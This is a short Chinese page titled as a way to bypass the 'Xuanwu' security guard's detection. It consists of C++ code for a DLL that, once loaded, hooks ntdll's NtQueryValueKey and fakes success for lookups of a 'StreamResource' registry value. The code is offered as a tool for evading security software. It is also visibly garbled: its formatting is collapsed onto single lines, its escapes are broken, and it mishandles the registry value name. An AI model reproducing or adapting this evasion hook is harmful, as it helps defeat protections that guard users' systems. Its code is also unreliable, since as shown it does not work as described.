绕过玄武安全卫士检测

#pragma once#include<Windows.h>// 定义 EasyHook 命名空间namespace EasyHook{    // HookFunction: 用于钩住一个指定的 DLL 中的函数    HRESULT HookFunction(        LPCSTR lpDllName,              // 钩住的库名称        LPCSTR lpFunctionName,         // 钩住的函数名称        PVOID pHookFunction,           // 我们自己的钩子函数        PVOID* ppOriginalFunction      // 存储原始函数的地址    );}

#include"pch.h"#include<Windows.h>#include<iostream>#include<string>#include"EasyHook.h"// 定义 NtQueryValueKey 的委托typedefint(WINAPI* NtQueryValueKeyDelegate)(HANDLE, PVOID, int, PVOID, int, PVOID);// 原始 NtQueryValueKey 函数指针NtQueryValueKeyDelegate pOriginalNtQueryValueKey = nullptr;// 钩子函数，用于拦截 NtQueryValueKey 调用int WINAPI NtQueryValueKeyHook(HANDLE keyHandle, PVOID valueName, int keyValueInformationClass, PVOID keyValueInformation, int keyValueInformationLength, PVOID resultLength){    // 判断是否是 "StreamResource"    if (valueName && strcmp((char*)valueName, "StreamResource") == 0)    {        wprintf(L"拦截了 StreamResource 访问n");  // 使用宽字符输出        // 返回 0，表示成功        return 0; // 你可以根据需要改变返回值    }    // 如果没有被拦截，调用原始的 NtQueryValueKey 函数    return pOriginalNtQueryValueKey(keyHandle, valueName, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);}// EasyHook 中的钩子入口函数voidHookNtQueryValueKey(){    // 使用 EasyHook 来注入钩子    HRESULT hr = EasyHook::HookFunction(        "ntdll.dll",              // 钩住的库        "NtQueryValueKey",        // 钩住的函数        (PVOID)&NtQueryValueKeyHook, // 我们自己的钩子函数        (PVOID*)&pOriginalNtQueryValueKey // 存储原始函数地址    );    if (FAILED(hr))    {        wprintf(L"EasyHook 注入失败: 0x%xn", hr);    }    else    {        wprintf(L"钩子注入成功n");    }}// DllMain 入口点BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        // 当 DLL 被加载时，钩住 NtQueryValueKey 函数        HookNtQueryValueKey();        break;    case DLL_PROCESS_DETACH:        // 如果需要，可以在此处进行清理        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:        break;    }    return TRUE;}